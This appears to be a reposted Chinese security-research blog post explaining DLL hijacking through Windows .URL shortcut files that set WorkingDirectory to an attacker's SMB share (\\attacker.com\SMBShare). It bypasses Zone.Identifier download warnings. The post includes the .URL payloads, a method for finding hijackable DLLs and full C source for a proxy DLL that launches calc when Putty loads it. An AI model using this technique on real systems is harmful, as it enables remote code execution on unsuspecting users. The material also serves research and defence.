通过URL文件进行DLL劫持-DLL Hijacking via URL files

通过URL文件进行DLL劫持-DLL Hijacking via URL files

转载请注明出处:https://youngrichog.github.io/

首先介绍下用于下载文件的Zone模型,或确切地说,是Zone.Identifiers

如果文件(通过网页浏览器等方式)被下载,Windows会向文件中添加一个名为Zone.Identifier的可选数据流(Alternative Data Stream,传送门)。简单地说,可选数据流是一个数据(二进制或文本等),它并不存储于文件之中,而是链接到另一个文件。读取一个可选数据流的语法如下::(<磁盘上的真实文件>:<可选文件流名称>)。 而具体到下载文件的场景中,这些附加信息描述了文件是从哪个区域下载的。在这里,我没有对这个模型及其具体含义进行深入讨论,但简短地说:如果从example.com这样的域名下载文件,该文件将被分配一个值为3的Zone ID:

从下图我们可以看到nbtscan-1.0.35.exe是通过互联网下载到的,可以看到ads,一旦ZoneId > 2,如果受害者去点击攻击者共享的nbtscan-1.0.35.exe,Windows将为潜在的不安全文件扩展名显示警告对话框:
img

img

img

不同值所对应的标记如下:
0 —— URLZONE_LOCAL_MACHINE(本地)
1 —— URLZONE_INTRANNET(内网)
2 —— URLZONE_TRUSTED(可信位置)
3 —— URLZONE_INTERNET(互联网)
4 —— URLZONE_UNTRUSTED(不可信位置)

img

在Windows上,可以使用 file:/// 协议处理程序来打开和远程执行SMB共享文件,格式如下:
file://attacker.com/SMBShare/

如果是直接通过file打开exe或bat的话还是会显示警告对话框

在完成扩展名的枚举之后,我发现,.URL文件能够从远程SMB共享中执行,并且没有出现任何警告对话框

URL文件结构如下:

Link to a local file:

1
2
[InternetShortcut]
URL=C:\windows\system32\cmd.exe

Link to a HTTP resource:

1
2
[InternetShortcut]
URL=http://example.com

同样,这里不允许传递任何参数,我们似乎又回到了最初的起点。但幸好,我在网上找到了其他研究者。
http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html
记录了.URL文件的所有支持属性,大家有兴趣的可以看看

最后这样,我就可以通过url文件进行dll劫持

1
2
3
[InternetShortcut]
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\\attacker.com\SMBShare

环境搭建:

win7 x64(受害者)
win10 x64(攻击者,smb共享文件)

我选了Putty Release 0.70,然后在想如何进行dll劫持,我想到3种办法来找到存在能够劫持的dll:
1.现成工具DllHijackAuditor来找到能够被劫持的dll
2.自动化找到存在能够劫持的dll,这个自动化的思路找存在能够劫持的dll,感觉还是很不错的。
(1).Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default.
(2).Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share.
(3).Get a list of all the currently running processes as a base comparison.
(4).Start ProcessMonitor
(5).Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share.
(6).Execute a .URL file eg file://attacker.com/SMBShare/poc1.URL
(7).Get a list of all the currently running processes
(8).Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources.
(9).Repeat step 6,7 and 8 until all created .URL files were executed
3.手工查找,通过Procmon工具

然后发现Putty 0.70版本,api-ms-win-core-fibers-l1-1-1.dll能够被劫持
img

那么我们结合url文件来进行dll劫持,url文件内容如下:

1
2
3
[InternetShortcut] 
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\\attacker.com\SMBShare

将工作目录(WorkingDirectory)设置为我的SMB共享,URL设置为Putty程序路径,并强制其从我的远程共享中加载一个DLL

DLL劫持代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
//Generate by DLLHijacker.py
#include <Windows.h>
#pragma comment(linker,"/EXPORT:IsThreadAFiber=_DLLHijacker_IsThreadAFiber,@1")
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("api-ms-win-core-fibers-l1-1-1.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack()
{
WinExec("calc",SW_NORMAL);
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
Hijack();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
ALCDECL DLLHijacker_IsThreadAFiber(void)
{
__asm POP m_dwReturn[0 * TYPE long];
GetAddress("IsThreadAFiber")();
__asm JMP m_dwReturn[0 * TYPE long];
}

img

受害者点击poc.url后,远程从smb共享文件加载dll,我们发现Putty可以被dll劫持,弹出calc,可以发现成功绕过了Zone Identifiers这个问题

img

参考来源:

https://insert-script.blogspot.com/2018/05/dll-hijacking-via-url-files.html
https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4949.html

Trick的一些思考:

多种方式的结合,例如利用自解压